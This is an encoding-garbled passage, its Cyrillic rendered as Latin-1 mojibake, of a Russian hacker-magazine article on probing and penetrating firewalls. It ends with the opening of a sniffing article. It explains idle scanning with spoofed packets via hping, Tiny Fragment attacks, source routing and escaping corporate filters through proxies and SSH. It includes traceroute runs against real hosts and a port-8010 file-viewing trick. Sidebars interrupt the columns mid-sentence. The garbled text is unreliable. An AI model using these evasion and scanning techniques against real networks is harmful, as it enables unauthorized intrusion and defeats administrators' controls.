òè äëÿ ïðåîäîëåíèÿ çàïðåòîâ è îãðàíè÷åíèé, íàëîæåííûõ áðàíäìà-
óýðîì. Áåñïëàòåí. Ðàñïðîñòðàíÿåòñÿ âìåñòå ñ èñõîäíûìè òåêñòàìè.
http://www.openssh.com.

FFAQ
Ïîäðîáíûé FAQ ïî áðàíäìàóýðàì íà àíãëèéñêîì ÿçûêå. www.inter-
hack.net/pubs/fwfaq/firewalls-ffaq.pdf. Åãî ðóññêèé ïåðåâîä, íå îòëè-
÷àþùåéñÿ îñîáîé ñâåæåñòüþ, ëåæèò íà ln.com.ua/~openxs/arti-
cles/fwfaq.html.

Firewalls
Êîíñïåêò ëåêöèé ïî áðàíäìàóýðàì (íà àíãëèéñêîì ÿçûêå) îò òàé-
âàíüñêîãî ïðîôåññîðà Yeali S. Sun. http://www.im.ntu.edu.tw/~sunny/
pdf/IS/Firewall.pdf.

OpenNet
Îãðîìíûé ïîðòàë ïî ñåòåâîé áåçîïàñíîñòè, ñîäåðæàùèé â òîì ÷èñ-
ëå è èíôîðìàöèþ î äûðàõ â ïîïóëÿðíûõ áðàíäìàóýðàõ (íà ðóññêîì
è àíãëèéñêîì ÿçûêàõ). http://www.opennet.ru.

ÑÑÛËÊÈ ÏÎ ÒÅÌÅ



Óÿçâèìîñòü
ïðîãðàì-
ìíûõ ïðîê-
ñè â îáùåì
ñëó÷àå íå-
âåëèêà, è â
îñíîâíîì
îíè àòàêó-
þòñÿ ÷åðåç
îøèáêè ïå-
ðåïîëíåíèÿ
áóôåðà.

Áðàíäìàóý-
ðû, îòêðû-
âàþùèå 53
ïîðò (ñëóæ-
áà DNS) íå
òîëüêî íà
ïðèåìíèêå
(íàïðèìåð,
Check Point
Firewall), íî
è íà èñòî÷-
íèêå, ïîçâî-
ëÿþò õàêå-
ðó ïðîñêà-
íèðîâàòü
âñþ âíóò-
ðåííþþ
ñåòü.

÷åì ðàçîáëà÷àþò ñåáÿ. Àíàëîãè÷íûì
îáðàçîì ïîñòóïàþò è íåêîòîðûå
ìàðøðóòèçàòîðû, îäíàêî, êàê óæå ãî-
âîðèëîñü âûøå, ìåæäó ìàðøðóòèçà-
òîðîì è ïàêåòíûì ôèëüòðîì íåò ïðèí-
öèïèàëüíîé ðàçíèöû.

Îòñëåæèâàíèå ìàðøðóòà îáû÷íî
îñóùåñòâëÿåòñÿ óòèëèòîé traceroute,
ïîääåðæèâàþùåé òðàññèðîâêó ÷åðåç
ïðîòîêîëû ICMP è UDP, ïðè÷åì ICMP
áëîêèðóåòñÿ ãîðàçäî ÷àùå. Âûáðàâ
óçåë, çàâåäîìî çàùèùåííûé áðàíä-
ìàóýðîì, ïîïðîáóåì îòñëåäèòü ê íåìó
ìàðøðóò êîìàíäîé traceroute �I
wwww.intel.ru.

Ñìîòðè: òðàññèðîâêà äîõîäèò äî óç-
ëà 192.198.138.68, à çàòåì óìèðàåò, ÷òî
óêàçûâàåò ëèáî íà áðàíäìàóýð, ëèáî
íà íåäåìîêðàòè÷íûé ìàðøðóòèçàòîð.
×óòü ïîçæå ìû ïîêàæåì, êàê ìîæíî
ïðîíèêíóòü ñêâîçü íåãî, à ïîêà âûáå-

ðåì äëÿ òðàññèðîâêè äðóãîé óçåë,
íàïðèìåð, www.zenon.ru.

Íà ýòîò ðàç òðàññèðîâêà ïðîõîäèò
íîðìàëüíî. Âûõîäèò, ÷òî íèêàêîãî
áðàíäìàóýðà âîêðóã zenon'à íåò?
Î÷åíü ìîæåò áûòü, íî äëÿ óâåðåííî-
ãî îòâåòà íàì òðåáóåòñÿ äîïîëíè-
òåëüíàÿ èíôîðìàöèÿ. Óçåë
195.2.91.193 ïðèíàäëåæèò ñåòè êëàññà
Ñ (òðè ñòàðøèõ áèòà IP-àäðåñà ðàâíû
110), è, åñëè ýòà ñåòü íå çàùèùåíà
áðàíäìàóýðîì, áîëüøèíñòâî åå óç-
ëîâ äîëæíî îòêëèêàòüñÿ íà ping, ÷òî
â äàííîì ñëó÷àå è ïðîèñõîäèò. Ñêàíè-
ðîâàíèå âûÿâëÿåò 65 îòêðûòûõ àäðå-
ñîâ. Ñëåäîâàòåëüíî, ëèáî ìàðøðóòè-
çàòîðà çäåñü íåò, ëèáî îí áåñïðåïÿò-
ñòâåííî ïðîïóñêàåò íàø ping.

Ïðè æåëàíèè ìîæíî ïîïðîáîâàòü
ïðîñêàíèðîâàòü ïîðòû, îäíàêî, âî-
ïåðâûõ, íàëè÷èå îòêðûòûõ ïîðòîâ

åùå íè î ÷åì íå ãîâîðèò (áûòü ìîæåò,
áðàíäìàóýð áëîêèðóåò ëèøü îäèí
ïîðò, íî ñàìûé íóæíûé, íàïðèìåð, çà-
ùèùàåò äûðÿâûé RPC îò ïîñÿãà-
òåëüñòâ èçâíå), à, âî-âòîðûõ, ïðè ñêà-
íèðîâàíèè õàêåðó áóäåò òðóäíî îñ-
òàòüñÿ íåçàìå÷åííûì. Ñ äðóãîé ñòîðî-
íû, ïîðòû ñêàíèðóþò âñå êîìó íå
ëåíü, è àäìèíèñòðàòîðû óæå äàâíî íå
îáðàùàþò íà ýòî âíèìàíèÿ.

Óòèëèòà nmap ïîçâîëÿåò îáíàðóæè-
âàòü íåêîòîðûå èç áðàíäìàóýðîâ, óñ-
òàíàâëèâàÿ ñòàòóò ïîðòà âî "fire-
walled". Òàêîå ïðîèñõîäèò âñÿêèé ðàç,
êîãäà â îòâåò íà SYN óäàëåííûé óçåë
âîçâðàùàåò ICMP-ïàêåò òèïà 3 ñ êî-
äîì 13 (Admin Prohibited Filter) ñ
äåéñòâèòåëüíûì IP-àäðåñîì áðàíäìà-
óýðà â çàãîëîâêå (nmap åãî íå îòîáðà-
æàåò; ïèøè ñîáñòâåííûé ñêàíåð èëè,
èñïîëüçóÿ ëþáîé ñíèôåð, ñàìîñòîÿ-
òåëüíî ïðîàíàëèçèðóé âîçâðàùàå-
ìûé ïàêåò). Åñëè âîçâðàòèòñÿ
SYN/ACK � ñêàíèðóåìûé ïîðò îòðûò.
RST/ACK óêàçûâàåò íà çàêðûòûé èëè
çàáëîêèðîâàííûé áðàíäìàóýðîì ïîðò.
Íå âñå áðàíäìàóýðû ãåíåðèðóþò
RST/ACK ïðè ïîïûòêå ïîäêëþ÷åíèÿ ê
çàáëîêèðîâàííûì ïîðòàì (Check Point
Firewall � ãåíåðèðóåò), íåêîòîðûå îò-
ñûëàþò ICMP-ñîîáùåíèå, êàê áûëî ïî-
êàçàíî âûøå, èëè íè÷åãî íå ïîñûëà-
þò âîîáùå.

Áîëüøèíñòâî áðàíäìàóýðîâ ïîääåð-
æèâàåò óäàëåííîå óïðàâëåíèå ÷åðåç
èíòåðíåò, îòêðûâàÿ îäèí èëè íåñêîëü-
êî TCP-ïîðòîâ, óíèêàëüíûõ äëÿ êàæ-
äîãî áðàíäìàóýðà. Òàê, íàïðèìåð,
Check Point Firewall îòêðûâàåò 256,
257 è 258 ïîðòû, à Microsoft Proxy �
1080. Íåêîòîðûå áðàíäìàóýðû ÿâíûì
îáðàçîì ñîîáùàþò ñâîå èìÿ è âåðñèþ
ïðîãðàììíîãî ïðîäóêòà ïðè ïîäêëþ-
÷åíèè ê íèì ïî netcat (èëè telnet), â
îñîáåííîñòè ýòèì ãðåøàò ïðîêñè-ñåð-
âåðà. Ïîñëåäîâàòåëüíî îïðàøèâàÿ
âñå óçëû, ðàñïîëîæåííûå âïåðåäè èñ-
ñëåäóåìîãî õîñòà, íà ïðåäìåò ïðîñëó-
øèâàíèÿ õàðàêòåðíûõ äëÿ áðàíäìàóý-
ðîâ ïîðòîâ, ìû â áîëüøèíñòâå ñëó÷à-
åâ ñìîæåò íå òîëüêî âûÿâèòü èõ ïðè-
ñóòñòâèå, íî è îïðåäåëèòü IP-àäðåñ!
Ðàçóìååòñÿ, ýòè ïîðòû ìîãóò áûòü çàê-
ðûòû êàê íà ñàìîì áðàíäìàóýðå
(ïðàâäà, íå âñå áðàíäìàóýðû ýòî ïîç-
âîëÿþò), òàê è íà ïðåäøåñòâóþùåì
åìó ìàðøðóòèçàòîðå (íî òîãäà áðàíä-
ìàóýðîì áóäåò íåëüçÿ óïðàâëÿòü ÷å-
ðåç èíòåðíåò).
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Ðàçëè÷íûå
áðàíäìàóý-
ðû ïî-ðàç-
íîìó ðåàãè-
ðóþò íà
íåñòàíäàðò-
íûå TCP-
ïàêåòû,
ïîçâîëÿÿ
èäåíòèôè-
öèðîâàòü
ñåáÿ.

ÑÒÅÍÊÀ ÂÑÌßÒÊÓ24 ÂÇËÎÌ

$traceroute �I wwww.intel.ru
Òðàññèðîâêà ìàðøðóòà ê bouncer.glb.intel.com [198.175.98.50]
ñ ìàêñèìàëüíûì ÷èñëîì ïðûæêîâ 30:

1  1352 ms   150 ms   150 ms  62.183.0.180
2   140 ms   150 ms   140 ms  62.183.0.220
3   140 ms   140 ms   130 ms  217.106.16.52
4   200 ms   190 ms   191 ms  aksai-bbn0-po2-2.rt-comm.ru [217.106.7.25]
5   190 ms   211 ms   210 ms  msk-bbn0-po1-3.rt-comm.ru [217.106.7.93]
6   200 ms   190 ms   210 ms  spb-bbn0-po8-1.rt-comm.ru [217.106.6.230]
7   190 ms   180 ms   201 ms  stockholm-bgw0-po0-3-0-0.rt-comm.ru [217.106.7.30]
8   180 ms   191 ms   190 ms  POS4-0.GW7.STK3.ALTER.NET [146.188.68.149]
9   190 ms   191 ms   190 ms  146.188.5.33

10   190 ms   190 ms   200 ms  146.188.11.230
11   311 ms   310 ms   311 ms  146.188.5.197
12   291 ms   310 ms   301 ms  so-0-0-0.IL1.DCA6.ALTER.NET [146.188.13.33]
13   381 ms   370 ms   371 ms  152.63.1.137
14   371 ms   450 ms   451 ms  152.63.107.150
15   381 ms   451 ms   450 ms  152.63.107.105
16   370 ms   461 ms   451 ms  152.63.106.33
17   361 ms   380 ms   371 ms  157.130.180.186
18   370 ms   381 ms   441 ms  192.198.138.68
19     *        *        *     Ïðåâûøåí èíòåðâàë îæèäàíèÿ äëÿ çàïðîñà.
20     *        *        *     Ïðåâûøåí èíòåðâàë îæèäàíèÿ äëÿ çàïðîñà.

ÒÐÀÑÑÈÐÎÂÊÀ ÌÀÐØÐÓÒÀ, ÓÌÈÐÀÞÙÀß ÍÀ
ÁÐÀÍÄÌÀÓÝÐÅ (ÌÀÐØÐÓÒÈÇÀÒÎÐÅ)

$traceroute �I www.zenon.ru
Òðàññèðîâêà ìàðøðóòà ê distributed.zenon.net [195.2.91.103]
ñ ìàêñèìàëüíûì ÷èñëîì ïðûæêîâ 30:

1  2444 ms  1632 ms  1642 ms  62.183.0.180
2  1923 ms  1632 ms  1823 ms  62.183.0.220
3  1632 ms  1603 ms  1852 ms  217.106.16.52
4  1693 ms  1532 ms  1302 ms  aksai-bbn0-po2-2.rt-comm.ru [217.106.7.25]
5  1642 ms  1603 ms  1642 ms  217.106.7.93
6  1562 ms  1853 ms  1762 ms  msk-bgw1-ge0-3-0-0.rt-comm.ru [217.106.7.194]
7  1462 ms   411 ms   180 ms  mow-b1-pos1-2.telia.net [213.248.99.89]
8   170 ms   180 ms   160 ms  mow-b2-geth2-0.telia.net [213.248.101.18]
9   160 ms   160 ms   170 ms  213.248.78.178

10   160 ms   151 ms   180 ms  62.113.112.67
11   181 ms   160 ms   170 ms  css-rus2.zenon.net [195.2.91.103]

Òðàññèðîâêà çàâåðøåíà.

ÓÑÏÅØÍÎÅ ÇÀÂÅÐØÅÍÈÅ ÒÐÀÑÑÈÐÎÂÊÈ ÅÙÅ ÍÅ ÅÑÒÜ
ÑÂÈÄÅÒÅËÜÑÒÂÎ ÎÒÑÓÒÑÒÂÈß ÁÐÀÍÄÌÀÓÝÐÀ

Âíåøíèé âèä óòèëèòû nmap



ÑÊÀÍÈÐÎÂÀÍÈÅ È
ÒÐÀÑÑÈÐÎÂÊÀ ×ÅÐÅÇ
ÁÐÀÍÄÌÀÓÝÐ

Ïðÿìàÿ òðàññèðîâêà ÷åðåç áðàíä-
ìàóýð ÷àùå âñåãî îêàçûâàåòñÿ íåâîç-
ìîæíîé (êàêîìó àäìèíèñòðàòîðó ïðè-
ÿòíî ðàñêðûâàòü èíòèìíûå ïîäðîá-
íîñòè òîïîëîãèè ñâîèõ ñåòåé), è àòàêó-
þùåìó ïðèõîäèòñÿ ïðèáåãàòü ê âñå-
âîçìîæíûì óõèùðåíèÿì.

Óòèëèòà Firewalk ïðåäñòàâëÿåò ñîáîé
êëàññè÷åñêèé òðàññåð, ïîñûëàþùèé
TCP- èëè UDP-ïàêåòû, ñ òàêèì ðàñ÷åòîì,
÷òîáû íà óçëå, ñëåäóþùåì íåïîñðåä-
ñòâåííî çà áðàíäìàóýðîì, èõ TTL îáðà-
ùàëñÿ â íîëü, çàñòàâëÿÿ ñèñòåìó ãåíå-
ðèðîâàòü ñîîáùåíèå
ICMP_TIME_EXCEEDED. Áëàãîäàðÿ ýòî-
ìó Firewalk óâåðåííî ðàáîòàåò äàæå
òàì, ãäå øòàòíûå ñðåäñòâà óæå íå
ñïðàâëÿþòñÿ, õîòÿ êðåïêî çàùèùåííûé
áðàíäìàóýð åé, êîíå÷íî, íå ïðîáèòü è
àòàêóþùåìó ïðèõîäèòñÿ èñïîëüçîâàòü
áîëåå ïðîäâèíóòûå àëãîðèòìû.

Áóäåì èñõîäèòü èç òîãî, ÷òî ñ êàæ-
äûì îòïðàâëÿåìûì IP-ïàêåòîì ñèñòåìà
óâåëè÷èâàåò åãî ID íà åäèíèöó (êàê
ýòî ÷àùå âñåãî è ñëó÷àåòñÿ). Ñ äðóãîé
ñòîðîíû, ñîãëàñíî ñïåöèôèêàöèè RFC-
793, îïèñûâàþùåé TCP-ïðîòîêîë, âñÿ-
êèé õîñò, ïîëó÷èâøèé ïîñòîðîííèé ïà-
êåò, êîòîðûé íå îòíîñèòñÿ ê óñòàíîâ-
ëåííûì TCP-ñîåäèíåíèÿì, äîëæåí ðå-
àãèðîâàòü íà íåãî ïîñûëêîé RST. Äëÿ
ðåàëèçàöèè àòàêè íàì ïîíàäîáèòñÿ
óäàëåííûé óçåë, íå îáðàáàòûâàþùèé
â äàííûé ìîìåíò íèêàêîãî ïîñòîðîí-
íåãî òðàôèêà è ãåíåðèðóþùèé ïðåäñ-
êàçóåìóþ ïîñëåäîâàòåëüíîñòü ID. Â
õàêåðñêèõ êðóãàõ òàêîé óçåë íàçûâàåò-
ñÿ íåìûì (dump). Îáíàðóæèòü íåìîé
õîñò î÷åíü ïðîñòî � äîñòàòî÷íî ëèøü
îòïðàâèòü åìó ñåðèþ IP-ïàêåòîâ è ïðî-
àíàëèçèðîâàòü ID, âîçâðàùåííûé â
çàãîëîâêàõ. Çàïîìíèì (çàïèøåì íà áó-
ìàæêó) ID ïîñëåäíåãî ïàêåòà. Çàòåì
âûáåðåì æåðòâó è îòïðàâèì åé SYN-
ïàêåò, óêàçàâ â îáðàòíîì àäðåñå IP íå-
ìîãî óçëà. Àòàêóåìûé óçåë, äóìàÿ, ÷òî
íåìîé õîñò õî÷åò óñòàíîâèòü ñ íèì
TCP-ñîåäèíåíèå, îòâåòèò: SYN/ACK.
Íåìîé õîñò, ñëîâèâ ïîñòîðîííèé
SYN/ACK, âîçâðàòèò RST, óâåëè÷èâàÿ

ñâîé ñ÷åò÷èê ID íà åäèíèöó. Îòïðàâèâ
íåìîìó õîñòó åùå îäèí IP-ïàêåò è ïðî-
àíàëèçèðîâàâ âîçâðàùåííûé ID, ìû
ñìîæåì óçíàòü, ïîñûëàë ëè íåìîé
õîñò æåðòâå RST-ïàêåò èëè íåò. Åñëè
ïîñûëàë, çíà÷èò, àòàêóåìûé õîñò àêòè-
âåí è ïîäòâåðæäàåò óñòàíîâêó TCP-ñî-
åäèíåíèÿ íà çàäàííûé ïîðò. Ïðè æå-
ëàíèè õàêåð ìîæåò ïðîñêàíèðîâàòü
âñå èíòåðåñóþùèå åãî ïîðòû, íå ðèñ-
êóÿ îêàçàòüñÿ çàìå÷åííûì, âåäü âû-
÷èñëèòü åãî IP ïðàêòè÷åñêè íåâîçìîæ-
íî � ñêàíèðîâàíèå îñóùåñòâëÿåòñÿ
"ðóêàìè" íåìîãî óçëà è ñ òî÷êè çðåíèÿ
àòàêóåìîãî âûãëÿäèò êàê îáû÷íîå
SYN-ñêàíèðîâàíèå.

Ïðåäïîëîæèì, ÷òî íåìîé õîñò ðàñïî-
ëîæåí âíóòðè DMZ, à æåðòâà íàõîäèò-
ñÿ âíóòðè êîðïîðàòèâíîé ñåòè. Òîãäà,
îòïðàâèâ íåìîìó õîñòó SYN-ïàêåò îò
èìåíè æåðòâû, ìû ñìîæåì ïðîíèê-
íóòü ÷åðåç áðàíäìàóýð, ïîñêîëüêó îí
áóäåò äóìàòü, ÷òî ñ íèì óñòàíàâëèâà-
åò ñîåäèíåíèå âíóòðåííèé õîñò, à ñîå-
äèíåíèÿ ýòîãî òèïà â 99,9% ñëó÷àÿõ
ðàçðåøåíû (åñëè èõ çàïðåòèòü, ïîëü-
çîâàòåëè êîðïîðàòèâíîé ñåòè íå ñìî-
ãóò ðàáîòàòü ñî ñâîèì æå ñîáñòâåííû-
ìè ïóáëè÷íûìè ñåðâåðàìè). Åñòåñò-
âåííî, âñå ìàðøðóòèçàòîðû íà ïóòè
îò õàêåðà ê íåìîìó õîñòó íå äîëæíû
áëîêèðîâàòü ïàêåò ñ ïîääåëüíûì îá-
ðàòíûì àäðåñîì, â ïðîòèâíîì ñëó÷àå
ïàêåò óìðåò çàäîëãî äî òîãî, êàê äîáå-
ðåòñÿ äî ìåñòà íàçíà÷åíèÿ.

Óòèëèòà hping êàê ðàç è ðåàëèçóåò
ñöåíàðèé ñêàíèðîâàíèÿ äàííîãî òèïà,
÷òî äåëàåò åå îñíîâíûì îðóäèåì çëî-
óìûøëåííèêà äëÿ èññëåäîâàíèÿ êîð-
ïîðàòèâíûõ ñåòåé, îãðàæäåííûõ
áðàíäìàóýðîì.

Êàê âàðèàíò, õàêåð ìîæåò çàõâàòèòü
îäèí èç óçëîâ, ðàñïîëîæåííûõ âíóò-
ðè DMZ, èñïîëüçóÿ èõ êàê ïëàöäàðì
äëÿ äàëüíåéøèõ àòàê.

ÏÐÎÍÈÊÍÎÂÅÍÈÅ ×ÅÐÅÇ
ÁÐÀÍÄÌÀÓÝÐ

Ñáîðêó ôðàãìåíòèðîâàííûõ TCP-
ïàêåòîâ ïîääåðæèâàþò òîëüêî ñàìûå
êà÷åñòâåííûå èç áðàíäìàóýðîâ, à âñå
îñòàëüíûå àíàëèçèðóþò ëèøü ïåðâûé
ôðàãìåíò, áåñïðåïÿòñòâåííî ïðîïóñ-

Ñòðóêòóðà IP-ïàêåòà

»



êàÿ âñå îñòàëüíûå. Ïîñëàâ ñèëüíî
ôðàãìåíòèðîâàííûé TCP-ïàêåò, "ðàç-
ìàçûâàþùèé" TCP-çàãîëîâîê ïî íåñ-
êîëüêèì IP-ïàêåòàì, õàêåð ñêðîåò îò
áðàíäìàóýðà Acknowledgment Number
è îí íå ñìîæåò îïðåäåëèòü ïðèíàä-
ëåæíîñòü TCP-ïàêåòà ê ñîîòâåòñòâóþ-
ùåé åìó TCP-ñåññèè (áûòü ìîæåò, îí
îòíîñèòñÿ ê ëåãàëüíîìó ñîåäèíåíèþ,
óñòàíîâëåííîìó êîðïîðàòèâíûì
ïîëüçîâàòåëåì). Åñëè òîëüêî íà
áðàíäìàóýðå íå àêòèâèðîâàíà îïöèÿ
"ðåçàòü ôðàãìåíòèðîâàííûå ïàêåòû",
óñïåõ õàêåðñêîé îïåðàöèè ãàðàíòèðî-
âàí. Áëîêèðîâàíèå ôðàãìåíòèðîâàí-
íûõ ïàêåòîâ ñîçäàåò ìíîæåñòâî ïðîá-
ëåì è ïðåïÿòñòâóåò íîðìàëüíîé ðàáî-
òå ñåòè. Òåîðåòè÷åñêè âîçìîæíî áëî-
êèðîâàòü ëèøü ïàêåòû ñ ôðàãìåíòè-
ðîâàííûì TCP-çàãîëîâêîì, îäíàêî äà-
ëåêî íå âñÿêèé áðàíäìàóýð ïîääåð-
æèâàåò ñòîëü ãèáêóþ ïîëèòèêó íàñò-
ðîéêè. Àòàêè äàííîãî òèïà, íàçûâàå-
ìûå Tiny Fragment Attack, îáëàäàþò
÷ðåçâû÷àéíî ìîùíîé ïðîíèêàþùåé
ñïîñîáíîñòüþ è ïîòîìó ÿâëÿþòñÿ èç-
ëþáëåííûì ïðèåìîì âñåõ õàêåðîâ.

Àòàêè ñ èñïîëüçîâàíèåì âíóòðåííåé
ìàðøðóòèçàöèè (îíà æå ìàðøðóòèçà-
öèÿ îò èñòî÷íèêà, èëè source routing)
íàìíîãî ìåíåå àêòóàëüíû, íî ìû âñå
æå èõ ðàññìîòðèì. Êàê èçâåñòíî, IP-
ïðîòîêîë ïîçâîëÿåò âêëþ÷àòü â ïàêåò
èíôîðìàöèþ î ìàðøðóòèçàöèè. Ïðè
îòïðàâêå IP-ïàêåòà æåðòâå íàâÿçàííàÿ
õàêåðîì ìàðøðóòèçàöèÿ ÷àùå âñåãî

èãíîðèðóåòñÿ, è òðàåêòîðèÿ ïåðåìåùå-
íèÿ ïàêåòà îïðåäåëÿåòñÿ èñêëþ÷è-
òåëüíî ïðîìåæóòî÷íûìè ìàðøðóòèçà-
òîðàìè, íî îòâåòíûå ïàêåòû âîçâðà-
ùàþòñÿ ïî ìàðøðóòó, îáðàòíîìó óêà-
çàííîìó â IP-çàãîëîâêå, ÷òî ñîçäàåò
áëàãîïðèÿòíûå óñëîâèÿ äëÿ åãî ïîä-
ìåíû. Áîëåå óïðîùåííûé âàðèàíò àòà-
êè îãðàíè÷èâàåòñÿ îäíîé ëèøü ïîäìå-
íîé IP-àäðåñà îòïðàâèòåëÿ. Ãðàìîòíî
íàñòðîåííûå ìàðøðóòèçàòîðû (è
áîëüøèíñòâî êëîíîâ UNIX) áëîêèðóþò
ïàêåòû ñ âíóòðåííåé ìàðøðóòèçàöèåé.
Ïàêåòû ñ ïîääåëüíûìè IP-àäðåñàìè
ïðåäñòàâëÿþò íåñêîëüêî áîëüøóþ
ïðîáëåìó, îäíàêî êà÷åñòâåííûé
áðàíäìàóýð ïîçâîëÿåò îòñåèâàòü è èõ.

Òàáëèöû ìàðøðóòèçàöèè ìîãóò áûòü
äèíàìè÷åñêè èçìåíåíû ïîñûëêîé ñî-
îáùåíèÿ ICMP Redirect, ÷òî ïîçâîëÿ-
åò (ïî êðàéíåé ìåðå, òåîðåòè÷åñêè)
íàïðàâèòü õàêåðñêèé òðàôèê â îáõîä
áðàíäìàóýðà (ñì. òàêæå ARP-spoofing),
âïðî÷åì, ñåé÷àñ òàêèå áåçíàäåæíî
èíñåêüþðíûå ñèñòåìû ïðàêòè÷åñêè
óæå íå âñòðå÷àþòñÿ.

ÏÎÁÅÃ ÈÇ-ÇÀ ÁÐÀÍÄÌÀÓÝÐÀ
Ïîëüçîâàòåëè âíóòðåííåé ñåòè,

îãðàæäåííîé íåäåìîêðàòè÷íûì
áðàíäìàóýðîì, ñåðüåçíî îãðàíè÷åíû
â ñâîèõ âîçìîæíîñòÿõ. Ïðî íåâîç-
ìîæíîñòü ðàáîòû ñ FTP-ñåðâåðàìè â
àêòèâíîì ðåæèìå ìû óæå ãîâîðèëè.
Òàêæå ìîãóò áûòü çàïðåùåíû íåêîòî-
ðûå ïðîòîêîëû è çàêðûòû íåîáõîäè-

ìûå òåáå ïîðòû. Â êëèíè÷åñêèõ ñëó÷à-
ÿõ àäìèíèñòðàòîðû âåäóò ÷åðíûå
ñïèñêè IP-àäðåñîâ, áëîêèðóÿ äîñòóï ê
ñàéòàì "íåöåëåñîîáðàçíîé" òåìàòèêè.

Ïîñêîëüêó áðàíäìàóýðû ðàññ÷èòà-
íû íà çàùèòó èçâíå, à íå èçíóòðè,
âûðâàòüñÿ èç-çà èõ çàñòåíêîâ î÷åíü
ïðîñòî, äîñòàòî÷íî ëèøü âîñïîëü-
çîâàòüñÿ ëþáûì ïîäõîäÿùèì ïðîê-
ñè-ñåðâåðîì, íàõîäÿùèìñÿ âî âíåø-
íåé ñåòè è åùå íå çàíåñåííûì àä-
ìèíèñòðàòîðîì â ÷åðíûé ñïèñîê. Â
÷àñòíîñòè, ïîïóëÿðíûé êëèåíò ICQ
ïîçâîëÿåò îáìåíèâàòüñÿ ñîîáùåíè-
ÿìè íå íàïðÿìóþ, à ÷åðåç ñåðâåð
(íå îáÿçàòåëüíî ñåðâåð êîìïàíèè-
ðàçðàáîò÷èêà). Ñóùåñòâóþò òûñÿ÷è
ñåðâåðîâ, ïîääåðæèâàþùèõ ðàáîòó
ICQ. Îäíè ñóùåñòâóþò â áîëåå èëè
ìåíåå íåèçìåííîì âèäå óæå íåñ-
êîëüêî ëåò, äðóãèå äèíàìè÷åñêè òî
ïîÿâëÿþòñÿ, òî èñ÷åçàþò. È åñëè
"äîëãîæèòåëåé" åùå ðåàëüíî çàíåñ-
òè â ñòîï-ëèñò, òî óñëåäèòü çà ñåð-
âåðàìè-îäíîäíåâêàìè àäìèíèñòðà-
òîð ïðîñòî íå â ñîñòîÿíèè!

Òàêæå ìîæíî âîñïîëüçîâàòüñÿ
ïðîòîêîëîì SSH (Secure Shell), èç-
íà÷àëüíî ñïðîåêòèðîâàííûì äëÿ
ðàáîòû ÷åðåç áðàíäìàóýð è ïîääåð-
æèâàþùèì øèôðîâàíèå òðàôèêà
(íà òîò ñëó÷àé, åñëè áðàíäìàóýð
âçäóìàåò èñêàòü â íåì "çàïðåùåí-
íûå" ñëîâà òèïà "sex", "hack" è ò.ä.).
SSH-ïðîòîêîë ìîæåò ðàáîòàòü ïî
ëþáîìó äîñòóïíîìó ïîðòó, íàïðè-
ìåð, 80, è òîãäà ñ òî÷êè çðåíèÿ
áðàíäìàóýðà âñå áóäåò âûãëÿäåòü
êàê ëåãàëüíàÿ ðàáîòà ñ WEB-ñåðâå-
ðîì. Ìåæäó òåì, SSH ÿâëÿåòñÿ ëèøü
ôóíäàìåíòîì äëÿ îñòàëüíûõ ïðîòî-
êîëîâ, èç êîòîðûõ â ïåðâóþ î÷å-
ðåäü õîòåëîñü áû îòìåòèòü telnet,
îáåñïå÷èâàþùèé âçàèìîäåéñòâèå ñ
óäàëåííûìè òåðìèíàëàìè. Çàïëàòèâ
ïîðÿäêà 20$ çà õîñòèíã ëþáîìó
ïðîâàéäåðó, òû ïîëó÷èøü àêêàóíò,
ïîääåðæèâàþùèé SSH è ïîçâîëÿþ-
ùèé óñòàíàâëèâàòü ñîåäèíåíèÿ ñ
äðóãèìè óçëàìè ñåòè (áåñïëàòíûå
õîñòèíãè ýòîé âîçìîæíîñòè ÷àùå
âñåãî ëèøåíû èëè íàêëàäûâàþò íà
íåå æåñòêèå îãðàíè÷åíèÿ).

Íàêîíåö, ìîæíî âîñïîëüçîâàòüñÿ
ñîòîâîé òåëåôîíèåé, ïðÿìûì ìîäåì-
íûì ïîäêëþ÷åíèåì è ïðî÷èìè êîììó-
íèêàöèîííûìè ñðåäñòâàìè, óñòàíàâ-
ëèâàþùèìè ñîåäèíåíèå ñ ïðîâàéäå-
ðîì, â îáõîä áðàíäìàóýðà.

ÇÀÊËÞ×ÅÍÈÅ
Òåõíîëîãèè ïîñòðîåíèÿ áðàíäìàó-

ýðîâ íå ñòîÿò íà ìåñòå, è ñïåöèàëèñòû
ïî èíôîðìàöèîííîé áåçîïàñíîñòè íå
äðåìëþò. Ñ êàæäûì äíåì õàêåðñòâî-
âàòü ñòàíîâèòñÿ âñå òðóäíåå è òðóä-
íåå, îäíàêî ïîëíîñòüþ õàêåðñòâî íå
èñ÷åçíåò íèêîãäà. Âåäü íà ñìåíó çàòê-
íóòûì äûðàì ïðèõîäÿò äðóãèå. Ãëàâ-
íîå, íå ñèäåòü ñëîæà ðóêè, à òâîð÷åñ-
êè ýêñïåðèìåíòèðîâàòü ñ áðàíäìàóý-
ðàìè, èçó÷àòü ñòàíäàðòû è ñïåöèôè-
êàöèè, èçó÷àòü äèçàññåìáëåðíûå ëèñ-
òèíãè è èñêàòü, èñêàòü, èñêàòü� E
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ÑÒÅÍÊÀ ÂÑÌßÒÊÓ26 ÂÇËÎÌ

Ñëóæáà
DCOM íóæ-
äàåòñÿ â
øèðîêîì
äèàïàçîíå
îòêðûòûõ
ïîðòîâ, ÷òî
ñóùåñòâåí-
íî ñíèæàåò
ñòåïåíü çà-
ùèùåííîñ-
òè ñèñòåìû,
îáåññìûñ-
ëèâàÿ èñ-
ïîëüçîâàíèå
áðàíäìàóý-
ðà.

Íåêîòîðûå
áðàíäìàóý-
ðû ïîäâåð-
æåíû íåñà-
íêöèîíèðî-
âàííîìó
ïðîñìîòðó
ôàéëîâ ÷å-
ðåç ïîðò
8010 è çàï-
ðîñû òèïà
http://www.
host.com::8
010/c:/ èëè
http://www.
host.com::8
010//.

Ñòðóêòóðà TCP-ïàêåòà

Ôðàãìåíòàöèÿ TCP-ïàêåòîâ êàê ñïîñîá îáõîäà áðàíäìàóýðîâ





Êðèñ Êàñïåðñêè aka ìûùúõ

ÐÛÁÍÀß ËÎÂËß 
Â ËÎÊÀËÜÍÎÉ ÑÅÒÈ
ÂÑÅ ÀÑÏÅÊÒÛ ÑÍÈÔÈÍÃÀ ÏÎÄ *NIX

ÖÅËÈ È ÌÅÒÎÄÛ
ÀÒÀÊÈ

Ñíèôåðîì (îò àíãë.
sniff � âûíþõèâàòü) íà-
çûâàþò óòèëèòû äëÿ

ïåðåõâàòà ñåòåâîãî òðàôèêà, àäðåñî-
âàííîãî äðóãîìó óçëó, èëè - â áîëåå
îáùåì ñëó÷àå � âñåãî äîñòóïíîãî
òðàôèêà, ïðîõîäÿùåãî èëè íå ïðîõî-
